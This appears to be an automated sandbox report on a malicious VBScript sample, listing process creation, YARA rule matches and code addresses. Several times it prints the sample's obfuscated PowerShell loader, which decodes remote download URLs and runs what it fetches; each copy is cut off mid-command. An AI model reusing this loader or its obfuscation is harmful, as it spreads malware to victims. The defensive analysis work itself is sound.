Source: C:\Windows\System32\svchost.exe	Code function: 14_3_00007DF4526E23D8	14_3_00007DF4526E23D8
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_00007DF4526AA3C8	14_3_00007DF4526AA3C8
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_00007DF4526713BC	14_3_00007DF4526713BC
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_00007DF4526A19B4	14_3_00007DF4526A19B4
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_00007DF45260F9C0	14_3_00007DF45260F9C0
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_00007DF452660AD4	14_3_00007DF452660AD4
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_00007DF452617AE0	14_3_00007DF452617AE0
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_00007DF4526FAAB4	14_3_00007DF4526FAAB4
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_00007DF45266CB5C	14_3_00007DF45266CB5C
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_00007DF452648B28	14_3_00007DF452648B28
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_00007DF4526EEB0C	14_3_00007DF4526EEB0C
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_00007DF4526EE774	14_3_00007DF4526EE774
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_00007DF452675824	14_3_00007DF452675824
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_00007DF45261E970	14_3_00007DF45261E970
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_00007DF45265395C	14_3_00007DF45265395C
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_00007DF45266CE48	14_3_00007DF45266CE48
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_00007DF4526FDF6C	14_3_00007DF4526FDF6C
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_00007DF452620EF4	14_3_00007DF452620EF4
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_00007DF452656BE4	14_3_00007DF452656BE4
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_00007DF45262CBE8	14_3_00007DF45262CBE8
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_00007DF4526DDBC8	14_3_00007DF4526DDBC8
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_00007DF4526EBC68	14_3_00007DF4526EBC68
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_00007DF452653CE8	14_3_00007DF452653CE8
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_00007DF4526EDC94	14_3_00007DF4526EDC94
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_00007DF45265CC84	14_3_00007DF45265CC84
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_00007DF45266CD38	14_3_00007DF45266CD38
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_00007DF45265ECF8	14_3_00007DF45265ECF8
Source: C:\Windows\System32\svchost.exe	Code function: 14_2_0000024F6A2A0C70	14_2_0000024F6A2A0C70
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_3_00007DF424A04EFC	21_3_00007DF424A04EFC
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_3_00007DF424A0392C	21_3_00007DF424A0392C
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_3_00007DF424A02204	21_3_00007DF424A02204
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00000207587A3218	21_2_00000207587A3218
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_000002075879C2D0	21_2_000002075879C2D0
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_000002075879262C	21_2_000002075879262C
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00000207587CF9A4	21_2_00000207587CF9A4
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00000207587CF158	21_2_00000207587CF158
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00000207587C5224	21_2_00000207587C5224
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00000207587D4221	21_2_00000207587D4221
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00000207587C420C	21_2_00000207587C420C
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00000207587D0A44	21_2_00000207587D0A44
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00000207587A7234	21_2_00000207587A7234
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00000207587AEABC	21_2_00000207587AEABC
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00000207587C4B60	21_2_00000207587C4B60
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00000207587D6C08	21_2_00000207587D6C08
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00000207587AE404	21_2_00000207587AE404
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00000207587CD3C8	21_2_00000207587CD3C8
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00000207587C0C4C	21_2_00000207587C0C4C
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00000207587B74EC	21_2_00000207587B74EC
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00000207587914D0	21_2_00000207587914D0
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00000207587CF4B8	21_2_00000207587CF4B8
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00000207587C5D84	21_2_00000207587C5D84
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00000207587A7580	21_2_00000207587A7580
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00000207587D1564	21_2_00000207587D1564
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00000207587AFD3C	21_2_00000207587AFD3C
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00000207587AC5D8	21_2_00000207587AC5D8
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00000207587C55BC	21_2_00000207587C55BC
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00000207587C9DA8	21_2_00000207587C9DA8
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00000207587C669C	21_2_00000207587C669C
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00000207587B8E88	21_2_00000207587B8E88
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00000207587B4678	21_2_00000207587B4678
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00000207587ACE70	21_2_00000207587ACE70
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00000207587B7E58	21_2_00000207587B7E58
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00000207587C4744	21_2_00000207587C4744
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00000207587AD730	21_2_00000207587AD730
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00000207587CAFF0	21_2_00000207587CAFF0
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00000207587A5FCC	21_2_00000207587A5FCC
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00000207587C50A4	21_2_00000207587C50A4
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00000207587B0898	21_2_00000207587B0898
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00000207587B7868	21_2_00000207587B7868
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00000207587D1048	21_2_00000207587D1048
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00000207587BE028	21_2_00000207587BE028
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00000207587D0114	21_2_00000207587D0114
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00000207587C60EC	21_2_00000207587C60EC
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00007DF424A1F048	21_2_00007DF424A1F048
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00007DF424A227AC	21_2_00007DF424A227AC
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00007DF424A2152C	21_2_00007DF424A2152C
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00007DF424A29C74	21_2_00007DF424A29C74
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00007DF424A1F8E0	21_2_00007DF424A1F8E0
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00007DF424A201A0	21_2_00007DF424A201A0
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00007DF424A23308	21_2_00007DF424A23308
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00007DF424A2728D	21_2_00007DF424A2728D
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00007DF424A20E74	21_2_00007DF424A20E74
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00007DF424A49C18	21_2_00007DF424A49C18
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00007DF424A47200	21_2_00007DF424A47200
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00007DF424A48FDC	21_2_00007DF424A48FDC
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00007DF424A48480	21_2_00007DF424A48480
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00007DF424A622CC	21_2_00007DF424A622CC

Source: ab.vbs

Initial sample: Strings found which are bigger than 50

Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 4296
Source: unknown	Process created: Commandline size = 4296
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 4296	Jump to behavior

Source: amsi32_8060.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 7696, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 8060, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: 14.3.svchost.exe.24f6aabc070.3.raw.unpack, CallWrapper.cs	Suspicious method names: .CallWrapper.GetPayload
Source: 14.3.svchost.exe.24f6aabc070.0.raw.unpack, CallWrapper.cs	Suspicious method names: .CallWrapper.GetPayload
Source: 14.3.svchost.exe.24f6aabc070.1.raw.unpack, CallWrapper.cs	Suspicious method names: .CallWrapper.GetPayload
Source: 14.3.svchost.exe.24f6aabc070.2.raw.unpack, CallWrapper.cs	Suspicious method names: .CallWrapper.GetPayload

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winVBS@44/120@13/11

Source: C:\Windows\System32\svchost.exe

Code function: 14_3_00007DF45260286C CreateToolhelp32Snapshot,Thread32First,Thread32Next,CloseHandle,SuspendThread,

14_3_00007DF45260286C

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Nonfattening.Ret

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7580:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7704:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8068:120:WilError_03
Source: C:\Windows\SysWOW64\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\MSCTF.Asm.{00000009-4b44c99e-e2eb-c0a4be-89a68ae4061c}

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_d3jrpzey.xgu.ps1

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ab.vbs"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=7696
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=8060
Source: C:\Windows\SysWOW64\svchost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\SysWOW64\svchost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ab.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic diskdrive get caption,serialnumber
Source: C:\Windows\System32\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Kollationernendkaldebefjelses='Elefantridderne';;$Flumed='Rundingernes';;$Metropoler='Larceners';;$Provisionsindtgters='Drivremmen';;$Smedejernslaage=$host.Name;function Elevtimens($Ballongynges){If ($Smedejernslaage) {$Firspandets79=2} for ($Kollationerne=$Firspandets79;;$Kollationerne+=3){if(!$Ballongynges[$Kollationerne]) { break };$Bibliofil+=$Ballongynges[$Kollationerne];$Squibbery='Jogurternes'}$Bibliofil}function Fortynderes($Thuds){ .($Nongame) ($Thuds)}$Fangled=Elevtimens 'ToN rePltSi.Dew';$Fangled+=Elevtimens 'S E.ubC,c oLR.i HEStNs T';$Gasted=Elevtimens 'S.MAnoBazObiP l lAhaMe/';$Dealation=Elevtimens 'coTValSlsEj1Pl2';$Hiwire='St[LuNF,e.dtL . sCee SR Iv,lIRoc .eHyp .O ,iUnnRyTFrm.ia n maUdg oeMir L]Va:Ch:RaS Te Tc Su R AiPrt yMiPSpR fOinT PoAacN,ORkLNa= ,$ VDbeeAgA.uL ZaInTFlI.po AN';$Gasted+=Elevtimens 'An5 T.Co0 a(FuWWiigen KdBao ,wKosHo MaNReTU T1Fe0He.Da0 i;O TrW eiHenU 6 4J ;Fa ,mxSn6 o4Fi;B DrNivFy:Um1.e3Fo1U .,t0 ,)Se BeGNoeHjc,ok loEt/ H2I 0,n1Im0.v0Du1Ri0 P1Pr .kFj,iS,rSteDef,noVrxSk/Af1Ud3Ru1To.Ve0';$Endomysial=Elevtimens ',nuAsSHaE,kRRe-BiaOuGBaE n AT';$niveauoplysning=Elevtimens ' h StAnt bpTes T: h/Kh/UnpRatRas y.A gNor lo ,u Ap o/U aAlb ./P L aaInnBreHvyNo.Fod KsVap.r>CohEmt .tN.p,asK :R / / nwSmw uwFa.YapSkuRenHoeBae ut B. aaPee.n/AraCobS,/ LT,arenSpeC yO.. td oskrp';$Afpolitiserendes=Elevtimens ',a>';$Nongame=Elevtimens 'RuIK,enoX';$Stripperne='Bystyrers';$Assumptiveness='\Nonfattening.Ret';Fortynderes (Elevtimens ' P$UnGSelL.o BE,AFllH : ,F No Pr SS ,DNoeNo=Co$DiER NLiVLy: ABoP lPP D PA .t a M+sa$Baa ,SDosCaU uM pUdTMeiViV tESuN e DS.uS');Fortynderes (Elevtimens 'Ex$ kgMalUnOBab,eA LGr:K BRuIPrbTue Kh.wo ,lroDFle MLBuS ueS,n vSAb=,y$Ovn SIS vFoeTiAAcU TospPViLInYPlSKvnUniKoN LG .MesS PGrLAlIVat S(Af$PrAUnf ePNyO LPoISetB iRrS.pED R rE yNMudPrETvSMa)');Fortynderes (Elevtimens $Hiwire);$niveauoplysning=$Bibeholdelsens[0];$heda=(Elevtimens ' a$MagLalgaOPrBR,ARuLA :MysKotulr aM smNoeOk=Inn aE uW S-UnODiB ,J eFoc ItPu R SG Y oSF TL.eD MBl.re$SufMbAInn KgDelPae id');Fortynderes ($heda);Fortynderes (Elevtimens 'Fo$E S StubrLem im UeCu. HSleToaPad.neSkrPasHa[N $P EShnGtd Ao fm cySes riBaaPrlbo]Tr=Un$AlG FaLus tAne Cd');$Preposed=Elevtimens ' O$AfSP,tTyrp.mHem.oe,n.SnDAcoCrwGrn Ol LoCoaMyd aFO iStlSteTi(As$ On niPrvRue a TuMuoC,pSul kySasFanK iManRogko,P,$InHMajgaewarben neMirBjsRe)';$Hjerners=$Forsde;Fortynderes (Elevtimens ' .$,nGtiL o.oBBlA ll s:HaDEar,eiO,KTeKroeDiV .aChrAle fR SN.ie esPa=Hi( et ,EMesS T K-PePAla EtDahSi An$BehlgjGgeOvRUnnLeE rrSksHa)');while (!$Drikkevarernes) {Fortynderes (Elevtimens ' t$ gBelIno b aIrlHj: LPOmrV oU.tEneGes ptUns,lyp r F=,u$ ,A on stMyi Sc waY p,li St a hl SiSusmit aiAnc') ;Fortynderes $Preposed;Fortynderes (Elevtimens ' oSH,t PaS rHaTSo-E sRelEnE.ieMupCh M4');Fortynderes (Elevtimens ' I$PrGInlSeO NBBlASkLDe:Vedi RS IRdKT.kViES vMiaKl
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" ";$Kollationernendkaldebefjelses='Elefantridderne';;$Flumed='Rundingernes';;$Metropoler='Larceners';;$Provisionsindtgters='Drivremmen';;$Smedejernslaage=$host.Name;function Elevtimens($Ballongynges){If ($Smedejernslaage) {$Firspandets79=2} for ($Kollationerne=$Firspandets79;;$Kollationerne+=3){if(!$Ballongynges[$Kollationerne]) { break };$Bibliofil+=$Ballongynges[$Kollationerne];$Squibbery='Jogurternes'}$Bibliofil}function Fortynderes($Thuds){ .($Nongame) ($Thuds)}$Fangled=Elevtimens 'ToN rePltSi.Dew';$Fangled+=Elevtimens 'S E.ubC,c oLR.i HEStNs T';$Gasted=Elevtimens 'S.MAnoBazObiP l lAhaMe/';$Dealation=Elevtimens 'coTValSlsEj1Pl2';$Hiwire='St[LuNF,e.dtL . sCee SR Iv,lIRoc .eHyp .O ,iUnnRyTFrm.ia n maUdg oeMir L]Va:Ch:RaS Te Tc Su R AiPrt yMiPSpR fOinT PoAacN,ORkLNa= ,$ VDbeeAgA.uL ZaInTFlI.po AN';$Gasted+=Elevtimens 'An5 T.Co0 a(FuWWiigen KdBao ,wKosHo MaNReTU T1Fe0He.Da0 i;O TrW eiHenU 6 4J ;Fa ,mxSn6 o4Fi;B DrNivFy:Um1.e3Fo1U .,t0 ,)Se BeGNoeHjc,ok loEt/ H2I 0,n1Im0.v0Du1Ri0 P1Pr .kFj,iS,rSteDef,noVrxSk/Af1Ud3Ru1To.Ve0';$Endomysial=Elevtimens ',nuAsSHaE,kRRe-BiaOuGBaE n AT';$niveauoplysning=Elevtimens ' h StAnt bpTes T: h/Kh/UnpRatRas y.A gNor lo ,u Ap o/U aAlb ./P L aaInnBreHvyNo.Fod KsVap.r>CohEmt .tN.p,asK :R / / nwSmw uwFa.YapSkuRenHoeBae ut B. aaPee.n/AraCobS,/ LT,arenSpeC yO.. td oskrp';$Afpolitiserendes=Elevtimens ',a>';$Nongame=Elevtimens 'RuIK,enoX';$Stripperne='Bystyrers';$Assumptiveness='\Nonfattening.Ret';Fortynderes (Elevtimens ' P$UnGSelL.o BE,AFllH : ,F No Pr SS ,DNoeNo=Co$DiER NLiVLy: ABoP lPP D PA .t a M+sa$Baa ,SDosCaU uM pUdTMeiViV tESuN e DS.uS');Fortynderes (Elevtimens 'Ex$ kgMalUnOBab,eA LGr:K BRuIPrbTue Kh.wo ,lroDFle MLBuS ueS,n vSAb=,y$Ovn SIS vFoeTiAAcU TospPViLInYPlSKvnUniKoN LG .MesS PGrLAlIVat S(Af$PrAUnf ePNyO LPoISetB iRrS.pED R rE yNMudPrETvSMa)');Fortynderes (Elevtimens $Hiwire);$niveauoplysning=$Bibeholdelsens[0];$heda=(Elevtimens ' a$MagLalgaOPrBR,ARuLA :MysKotulr aM smNoeOk=Inn aE uW S-UnODiB ,J eFoc ItPu R SG Y oSF TL.eD MBl.re$SufMbAInn KgDelPae id');Fortynderes ($heda);Fortynderes (Elevtimens 'Fo$E S StubrLem im UeCu. HSleToaPad.neSkrPasHa[N $P EShnGtd Ao fm cySes riBaaPrlbo]Tr=Un$AlG FaLus tAne Cd');$Preposed=Elevtimens ' O$AfSP,tTyrp.mHem.oe,n.SnDAcoCrwGrn Ol LoCoaMyd aFO iStlSteTi(As$ On niPrvRue a TuMuoC,pSul kySasFanK iManRogko,P,$InHMajgaewarben neMirBjsRe)';$Hjerners=$Forsde;Fortynderes (Elevtimens ' .$,nGtiL o.oBBlA ll s:HaDEar,eiO,KTeKroeDiV .aChrAle fR SN.ie esPa=Hi( et ,EMesS T K-PePAla EtDahSi An$BehlgjGgeOvRUnnLeE rrSksHa)');while (!$Drikkevarernes) {Fortynderes (Elevtimens ' t$ gBelIno b aIrlHj: LPOmrV oU.tEneGes ptUns,lyp r F=,u$ ,A on stMyi Sc waY p,li St a hl SiSusmit aiAnc') ;Fortynderes $Preposed;Fortynderes (Elevtimens ' oSH,t PaS rHaTSo-E sRelEnE.ieMupCh M4');Fortynderes (Elevtimens ' I$PrGInlSeO NBBlASkLDe:Vedi RS IRdKT.kViES vMiaKl
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Windows\System32\svchost.exe"
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\System32\svchost.exe "C:\Windows\System32\svchost.exe"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe --user-data-dir="C:\Users\user~1\AppData\Local\Temp\chr1B0.tmp" --explicitly-allowed-ports=8000 --disable-gpu --new-window "http://127.0.0.1:8000/a506004f/bd5c97e1"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\System32\wscript.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2484 --field-trial-handle=2460,i,18042430906892468815,13956811968867216056,262144 /prefetch:8
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe --user-data-dir="C:\Users\user~1\AppData\Local\Temp\chrBB3.tmp" --explicitly-allowed-ports=8000 --disable-gpu --new-window "http://127.0.0.1:8000/a506004f/0da50779"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2724 --field-trial-handle=2140,i,8472983126919404237,17192914109164823712,262144 /prefetch:3
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Media Player\wmplayer.exe "C:\Program Files\Windows Media Player\wmplayer.exe"
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Process created: C:\Windows\System32\dllhost.exe "C:\Windows\system32\dllhost.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic diskdrive get caption,serialnumber	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Kollationernendkaldebefjelses='Elefantridderne';;$Flumed='Rundingernes';;$Metropoler='Larceners';;$Provisionsindtgters='Drivremmen';;$Smedejernslaage=$host.Name;function Elevtimens($Ballongynges){If ($Smedejernslaage) {$Firspandets79=2} for ($Kollationerne=$Firspandets79;;$Kollationerne+=3){if(!$Ballongynges[$Kollationerne]) { break };$Bibliofil+=$Ballongynges[$Kollationerne];$Squibbery='Jogurternes'}$Bibliofil}function Fortynderes($Thuds){ .($Nongame) ($Thuds)}$Fangled=Elevtimens 'ToN rePltSi.Dew';$Fangled+=Elevtimens 'S E.ubC,c oLR.i HEStNs T';$Gasted=Elevtimens 'S.MAnoBazObiP l lAhaMe/';$Dealation=Elevtimens 'coTValSlsEj1Pl2';$Hiwire='St[LuNF,e.dtL . sCee SR Iv,lIRoc .eHyp .O ,iUnnRyTFrm.ia n maUdg oeMir L]Va:Ch:RaS Te Tc Su R AiPrt yMiPSpR fOinT PoAacN,ORkLNa= ,$ VDbeeAgA.uL ZaInTFlI.po AN';$Gasted+=Elevtimens 'An5 T.Co0 a(FuWWiigen KdBao ,wKosHo MaNReTU T1Fe0He.Da0 i;O TrW eiHenU 6 4J ;Fa ,mxSn6 o4Fi;B DrNivFy:Um1.e3Fo1U .,t0 ,)Se BeGNoeHjc,ok loEt/ H2I 0,n1Im0.v0Du1Ri0 P1Pr .kFj,iS,rSteDef,noVrxSk/Af1Ud3Ru1To.Ve0';$Endomysial=Elevtimens ',nuAsSHaE,kRRe-BiaOuGBaE n AT';$niveauoplysning=Elevtimens ' h StAnt bpTes T: h/Kh/UnpRatRas y.A gNor lo ,u Ap o/U aAlb ./P L aaInnBreHvyNo.Fod KsVap.r>CohEmt .tN.p,asK :R / / nwSmw uwFa.YapSkuRenHoeBae ut B. aaPee.n/AraCobS,/ LT,arenSpeC yO.. td oskrp';$Afpolitiserendes=Elevtimens ',a>';$Nongame=Elevtimens 'RuIK,enoX';$Stripperne='Bystyrers';$Assumptiveness='\Nonfattening.Ret';Fortynderes (Elevtimens ' P$UnGSelL.o BE,AFllH : ,F No Pr SS ,DNoeNo=Co$DiER NLiVLy: ABoP lPP D PA .t a M+sa$Baa ,SDosCaU uM pUdTMeiViV tESuN e DS.uS');Fortynderes (Elevtimens 'Ex$ kgMalUnOBab,eA LGr:K BRuIPrbTue Kh.wo ,lroDFle MLBuS ueS,n vSAb=,y$Ovn SIS vFoeTiAAcU TospPViLInYPlSKvnUniKoN LG .MesS PGrLAlIVat S(Af$PrAUnf ePNyO LPoISetB iRrS.pED R rE yNMudPrETvSMa)');Fortynderes (Elevtimens $Hiwire);$niveauoplysning=$Bibeholdelsens[0];$heda=(Elevtimens ' a$MagLalgaOPrBR,ARuLA :MysKotulr aM smNoeOk=Inn aE uW S-UnODiB ,J eFoc ItPu R SG Y oSF TL.eD MBl.re$SufMbAInn KgDelPae id');Fortynderes ($heda);Fortynderes (Elevtimens 'Fo$E S StubrLem im UeCu. HSleToaPad.neSkrPasHa[N $P EShnGtd Ao fm cySes riBaaPrlbo]Tr=Un$AlG FaLus tAne Cd');$Preposed=Elevtimens ' O$AfSP,tTyrp.mHem.oe,n.SnDAcoCrwGrn Ol LoCoaMyd aFO iStlSteTi(As$ On niPrvRue a TuMuoC,pSul kySasFanK iManRogko,P,$InHMajgaewarben neMirBjsRe)';$Hjerners=$Forsde;Fortynderes (Elevtimens ' .$,nGtiL o.oBBlA ll s:HaDEar,eiO,KTeKroeDiV .aChrAle fR SN.ie esPa=Hi( et ,EMesS T K-PePAla EtDahSi An$BehlgjGgeOvRUnnLeE rrSksHa)');while (!$Drikkevarernes) {Fortynderes (Elevtimens ' t$ gBelIno b aIrlHj: LPOmrV oU.tEneGes ptUns,lyp r F=,u$ ,A on stMyi Sc waY p,li St a hl SiSusmit aiAnc') ;Fortynderes $Preposed;Fortynderes (Elevtimens ' oSH,t PaS rHaTSo-E sRelEnE.ieMupCh M4');Fortynderes (Elevtimens ' I$PrGInlSeO NBBlASkLDe:Vedi RS IRdKT.kViES vMiaKl	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Windows\System32\svchost.exe"	Jump to behavior
